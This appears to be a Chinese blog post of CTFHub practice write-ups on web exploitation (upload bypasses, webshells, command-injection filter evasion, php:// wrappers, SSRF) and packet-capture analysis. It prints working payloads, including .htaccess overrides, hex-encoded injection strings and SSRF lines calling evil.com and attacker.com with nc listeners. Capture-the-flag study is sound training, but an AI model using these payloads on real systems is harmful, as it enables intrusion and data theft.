CTFHUB-WEB刷题

Web前置技能

HTTP协议

请求方式

题目页面要求是以 CTFHUB方式访问页面,在burpsuite里把GET方式换成CTFHUB即可得FLAG。

302跳转

打开页面提示没有FLAG:

点击下面的超链接后用burpsuite开启截断,发现FLAG:

打开网页得到提示,应该是改cookie为admin来获取FLAG:

burpsuite开启截断发现admin参数,值改成1即可得到FLAG。

基础认证

先补充一下基本知识:

桌面应用程序也通过HTTP协议跟Web服务器交互, 桌面应用程序一般不会使用cookie, 而是把 "用户名+冒号+密码"用BASE64算法加密后的字符串放在http request 中的header Authorization中发送给服务端, 这种方式叫HTTP基本认证(Basic Authentication)。

HTTP基本认证的过程

第一步: 客户端发送http request 给服务器,

第二步: 因为request中没有包含Authorization header, 服务器会返回一个401 Unauthozied给客户端,并且在Response的 header “WWW-Authenticate” 中添加信息。

第三步:客户端把用户名和密码用BASE64加密后,放在Authorization header中发送给服务器, 认证成功。

第四步:服务器将Authorization header中的用户名密码取出,进行验证, 如果验证通过,将根据请求,发送资源给客户端

回到题目:

有一个基础认证页面,点进去会要求输入用户名和密码:

无论如何先抓下包看看:

发现在AUTH一栏有一段base64编码,应该是我输入的用户名和密码。放行后看看返回的数据包,显示认证错误,不过在Www-Auth一栏发现提示信息:

直接把得到AUTH值与发送的AUTH值进行比较,base64编码后发送发现不行,应该是思路错了。

看了基础知识之后才明白提示信息是在说用户名是对的,需要爆破密码。

使用burpsuite的intruder模块,对“admin:”前半段信息进行base64加密,之后在爆破选项里选择密码并进行后半段的base64加密:

从结果筛选出200响应:

响应包源代码

故名思议,打开题目按F12就能找到FLAG了:

信息泄漏

目录遍历

打开题目之后出现页面,发现是递归的目录:

总共没多少个文件,不用上工具就能找到FLAG:

PHPINFO

直接全文搜索FLAG,没什么好说的:

备份文件下载

网站源码

提示给的很明白了:

无非就是这几种名称和后缀的排列组合,直接上intruder的cluster bomb,设置如下:

攻击筛选200响应,下载压缩包得到源码文件,发现并没有FLAG:

image-20210121171021930

因为是源码,所以FLAG肯定部署在服务器上了,直接把文件地址复制到题目地址后面拿到FLAG:

bak文件

根据上一题,我以为只是把后缀名加个bak就完事儿了,然后没爆破出来。

仔细一想如果这么简单的话跟上一题合并出不就好了么……

然后根据提示,在php后加了bak的后缀名得到FLAG:

Vim缓存

知识补充:

当你非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容。

需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生.swp文件的。

意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改,文件内容还是和打开时一样。

例如,第一次产生的交换文件名为“.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn”;依此类推。

回到题目,一开始输入的时候我只是在后面加后缀名,一直报404找不到文件。找了下资料才发现缓存文件是隐藏文件,前面应该加个点(.index.php.bak)。

notepad++打开获取FLAG:

.DS_Store

知识补充:

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

回到题目,下载这个文件之后用notepad++打开发现是乱码,应该是二进制文件,之后用winhex打开得到FLAG地址:

Git泄漏

Log

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

回到题目,不多说,githack一把梭:

把泄漏的git仓库直接下载下来了,之后git clone查看变动信息:

找到最新提交的commit,然后用git diff cbf0ed6041b8276d9985372a0ab213cec6cf43f1 查看变动,得到FLAG:

Stash

**知识补充,**常用git stash命令:

(1)git stash save “save message” : 执行存储时,添加备注,方便查找,只有git stash 也要可以的,但查找时不方便识别。

(2)git stash list :查看stash了哪些存储

(3)git stash show :显示做了哪些改动,默认show第一个存储,如果要显示其他存贮,后面加stash@{$num},比如第二个 git stash show stash@{1}

(4)git stash show -p : 显示第一个存储的改动,如果想显示其他存存储,命令:git stash show stash@{$num} -p ,比如第二个:git stash show stash@{1} -p

(5)git stash apply :应用某个存储,但不会把存储从存储列表中删除,默认使用第一个存储,即stash@{0},如果要使用其他个,git stash apply stash@{$num} , 比如第二个:git stash apply stash@{1}

(6)git stash pop :命令恢复之前缓存的工作目录,将缓存堆栈中的对应stash删除,并将对应修改应用到当前的工作目录下,默认为第一个stash,即stash@{0},如果要应用并删除其他stash,命令:git stash pop stash@{$num} ,比如应用并删除第二个:git stash pop stash@{1}

(7)git stash drop stash@{num} :丢弃stash@{num}存储,从列表中删除这个存储

(8)git stash clear :删除所有缓存的stash

回到题目,依然先githack一把梭,把仓库下载下来,之后git stash pop把缓存读取出来:

Index

同上,把源码下载下来即可看到FLAG文件:

SVN泄漏

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

这次换svnexploit一把梭:

发现了FLAG文件,直接去服务器和本地找发现找不到。

之后在网上搜了搜,在Linux虚拟机里换了dvcs-ripper,也没有找到其他人writeup写的FLAG文件。

又回头看看命令行发现了报错:

查看资料是缺少perl模块(参考:https://blog.csdn.net/weixin_45485719/article/details/104958542),于是安装后再去执行脚本终于得到FLAG:

HG泄漏

不懂什么叫HG,搜索了一下,好像是和Git差不多的分布式版本管理系统。

依然是使用dvcs-ripper工具:

不知道跟上一个程序是不是存在问题,暂且看下目录:

没发现有FLAG文件一类的,先把每个文件看下,发现了文件地址,之后把文件名拼接到服务器上,获取FLAG:

密码口令

弱口令

通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

打开题目页面,随便输入账号和密码提示用户名和密码有一个是错误的,所以需要同时猜解用户名和密码。

直接上Cluster bomb,分别在用户名和密码处打标记,然后分配字典:

刚开始跑字典没跑出来,换了个字典跑出来,由此可见有个好字典是多么重要……突然想到之前几次比赛CTF-WEB涉及到字典的题没跑出来,我还以为是自己思路不对,现在觉得应该是字典不对……

默认密码

打开题一看是这个:

直接搜素eYou email默认密码,查到一个**账户是eyougw,密码是admin@(eyou)**的默认账号。登上去拿FLAG。

XSS

反射型

打开网页,会有两个输入框,第一个输入payload即可在下方名称处触发弹窗,第二个无反应,查了查别人的writeup才知道需要xss盲打。

通过第一个触发xss的链接,也就是http://challenge-cdbd51b1ae2c4a42.sandbox.ctfhub.com:10080/?name=,之后加上xss平台的payload构造一个新的链接提交,之后就能在平台收到FLAG了:

文件上传

无验证

没什么好说的,上传蚁剑shell连接就完事了:

前端验证

提示有js前端验证,先F12来看看代码:

只允许png/jpg/gif格式上传,可以先把一句话木马用图片格式命名,再burpsuite截断改后缀绕过:

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

也就是说,如果我们上传了一个htaccess配置,服务器就会运行该配置,从而使原有的限制失效。

这样的代码就是将png类型的文件解析成php:

AddType application/x-httpd-php .png

这种可以将文件名含有key的解析成php:

1
2
3
<FilesMatch "key">
SetHandler application/x-httpd-php
</FilesMatch>

写好后上传即可绕过:

MIME绕过

只要发送的数据包content-type不是php格式,把后缀名更改就可以:

蚁剑连接拿到FLAG:

00截断

00截断的原理

00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。

php环境00截断的条件
  • php版本小于5.3.29
  • magic_quotes_gpc = Off

一开始直接在php后加%00截断,发现上传成功后怎么也找不到文件。之后才发现road参数应该具体到文件才对……

于是构造如下的数据包提交,提示上传成功:

蚁剑连接成功,发现了之前上传失败的几个文件,被随机命名成图片了:

双写后缀

先传个php文件,发现php给过滤掉了:

改成两个php,还会过滤掉:

怀疑是从左到右过滤的,于是从中间加了php,成功绕过:

文件头检查

先查查一些常用的文件头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
JPEG (jpg),文件头:FFD8FF 
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864

有了文件头就好办了,直接把改后缀的马放到winhex里编辑即可,我这里选择的是png的文件头,直接在文件最前面插入相应的文件头:

之后再改后缀绕过就可以上传成功了:

RCE

eval

看了看代码,这就是个马……把地址复制到蚁剑连接就行了:

在根目录发现FLAG:

文件包含

这个题首先接收到一个file参数,之后再对file参数的值进行判断,如果含有包含的文件不含有flag字符串的话,就包含出来,否则提示信息。

/etc/passwd为值测试了一下确定是文件包含:

下面shell超链接打开后是一个密码为ctfhub的php一句话文本:

用文件包含把shell.txt文档的php代码包含出来,然后用post方法提交ctfhub参数,ctfhub参数对应的值就是执行的命令:

之后用蚁剑连接,用find / -name flag找到FLAG文件:

php://input

这段PHP代码的含义就是获取file参数值,并截取前7位看是不是php://,如果是则包含file参数。

看题目是让我们使用php://input协议拿到flag,只需要让?file=php://input,POST一个php语句进去即可。

读取源代码

这道题直接给出了flag所在目录,看代码也是要用php协议,经过测试发现,又屏蔽了php://input

所以可以考虑用过滤器filter

使用以下payload都能拿到flag:

?file=php://filter/resource=/flag?file=php://filter/read=convert.base64-encode/resource=/flag

综合过滤练习

RCE命令注入的前几个题都挺简单的,这次直接来看最后一个。之前已经做过了,不太想开新环境,直接借用了别人WP里的图。

从PHP代码里可以看出过滤了**|,\,&,/,;,cat,flag,ctfhub**还有空格。

url编码中,%0a是换行符,%0d是回车符,可以用这两个进行命令拼接。

拼接127.0.0.1%0als即可显示当前目录存在文件,发现有个flag_is_here的文件夹,之后需要进入到该文件夹寻找flag。

但是分号和连接符都屏蔽了,这时候需要通过十六进制与字符串的转换来运行命令。

在shell里,IFS是全局变量内部字段分隔符,等同与space,${IFS}即为空格。

之后就可以利用**$(printf “十六进制字符串”)**来执行命令了。

先进入目录,然后查看目录里有那些文件,也就是:

cd flag_is_here;ls

使用(https://coding.tools/cn/ascii-to-hex)转换,绕过过滤后是:

127.0.0.1%0acd${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")

如果过滤了括号、关键字,可以将文件名拆开:

a=f;b=g;c=l;d=a;cat$IFS$1f$a$c$d$b.php

可以看到文件了。故技重施,直接cat一下这个目录里的php文件:

cat flag_is_here/flag_21788311688601.php

加密后即

127.0.0.1%0a$(printf${IFS}"\x63\x61\x74\x20\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x32\x31\x37\x38\x38\x33\x31\x31\x36\x38\x38\x36\x30\x31\x2e\x70\x68\x70")

之后在F12查看源码,就能看到FLAG了。

除此之外还需要说明的一下,*,*,n(n是大于0的数字),@都可以绕过过滤,ca@**都可以绕过过滤,**cat即为cat

SSRF

服务端请求伪造(Server-Side Request Forgery)是攻击者构造由服务器端发起请求的一个漏洞,通常情况下可以实现:

  • 可以对外网服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息 。
  • 攻击运行在内网或者本地的应用程序。
  • 对内网web应用进行指纹识别,通过访问默认文件实现 。
  • 攻击内外网的web应用。sql注入、struct2、redis等。
  • 利用file协议读取本地文件等。

伪协议读取文件

内网访问这题比较简单,直接来看伪协议。打开环境一片空白,观察url发现有个url参数,构造file协议访问www目录下的flag文件。

这里再补充一下其他的协议,参考(https://www.cnblogs.com/-mo-/p/11673190.html):

1
2
3
4
5
6
file:///
dict://
sftp://
ldap://
tftp://
gopher://

file://

这种URL Schema可以尝试从文件系统中获取文件:

1
Copyhttp://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:

dict://

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

1
2
3
4
Copyhttp://example.com/ssrf.php?dict://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

sftp://

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

1
2
3
4
Copyhttp://example.com/ssrf.php?url=sftp://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

1
Copyhttp://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

1
2
3
Copyhttp://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

1
2
3
4
5
http://example.com/ssrf.php?url=http://attacker.com/gopher.php

<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
Copyevil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

端口扫描

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

把环境url放入intruder里,url参数后接127.0.0.1:8000,只对端口号进行爆破。

POST跳转

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

故技重施,先读一下flag.php文件,结果还真有,读下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

首先判断来源地址是否是本地地址,如果不是本地地址,则返回信息后return结束。之后声明了一个变量flag,其值是环境变量CTFHUB的值;又声明了个key变量,它的值是对flag变量值进行了md5加密后的结果。下面的流程是,如果post提交下key参数存在,并且提交的key值与key值本身相同,则会返回flag。

弄清楚了逻辑,先从本地地址访问下flag.php:

可以看到注释里的key参数,这时候改POST方法提交发现响应包没有返回flag,这是因为我们前端虽然是POST方法,但是服务器执行的却不是,你前端的参数不能提交上去。由题目可知,环境采用了curl函数,我们也可以通过file协议看到:

MISC

流量分析

数据库类流量

Mysql流量

本题目直接追踪Mysql的TCP数据流就能够找到flag:ctfhub{mysql_is_S0_E4sy}

Redis流量

比上个Mysql稍微难点,也是直接追踪TCP数据流,查找关键字flag,然后拼接一下就ok了:ctfhub{6051d6123de43dfad7609804925c0121}

MongoDB流量

这道题不用wireshark分析甚至更快,直接notepad++打开搜索ctfhub{完事:

协议流量分析

ICMP
Data

打开数据包发现,ICMP协议的数据包分为请求的数据包和接收的数据包,从图里ICMP数据包可以发现,Type类型为8的都为请求数据包,且数据段前8个二进制位为计数位,图里为第五个请求数据包(因为从零开始计数)。

使用wireshark语法ip.src==30.0.250.11 && icmp可以过滤出请求的数据包:

依次读上图所指示的位置发现ctfhub字样,逐个记录即是flag:ctfhub{c87eb99796406ac0b}

Length

首先输入语法ip.src==30.0.250.11 && icmp过滤出发送的ICMP包,根据题目注意数据长度位:

不难发现每个数据包的长度分别是:99,116,102,104,117,98,123,97,99,98,54,53,57,102,48,50,51,125

直接alt+数字,即可手动输出flag:ctfhub{acb659f023}

LengthBinary

根据提示可以了解到解题思路,关键是数据包长度。先按语法ip.src==30.0.30.10过滤出发送的ICMP数据包,通过观察数据包可以发现,ICMP数据包长度不是32就是64。

依次序查看,遇到一个32位数据包就记录一个0,64位数据包则记录1。这里就不能一个个查了,实在太多了……使用python脚本帮我们记录下来:

1
2
3
4
5
6
7
8
9
10
import pyshark
pcap = pyshark.FileCapture("icmp_len_binary.pcap", display_filter="ip.src==30.0.30.10")
pcap.load_packets()
flag_str = ''
for i in range(0,len(pcap)):
if pcap[i].icmp.data_len == '32':
flag_str = flag_str+'0'
elif pcap[i].icmp.data_len == '64':
flag_str = flag_str+'1'
print(flag_str)

最后flag_str的值为011000110111010001100110011010000111010101100010011110110011000000110100011001010110011001100101011001000011000101100101001100000011010101111101,通过二进制转ascii码可得到最后的flag:ctfhub{04efed1e05}

这里本地调试的过程中遇到了TShark not found. Try adding its location to the configuration file. 这个错误。可以在pyshark本地库的配置文件config.ini找到tshark_path参数,将参数值更改为正确的路径。


CTFHUB-WEB刷题
https://k1nm0.com/2021/01/21/CTFHUB-WEB刷题/
作者
K1nm0
发布于
2021年1月21日
许可协议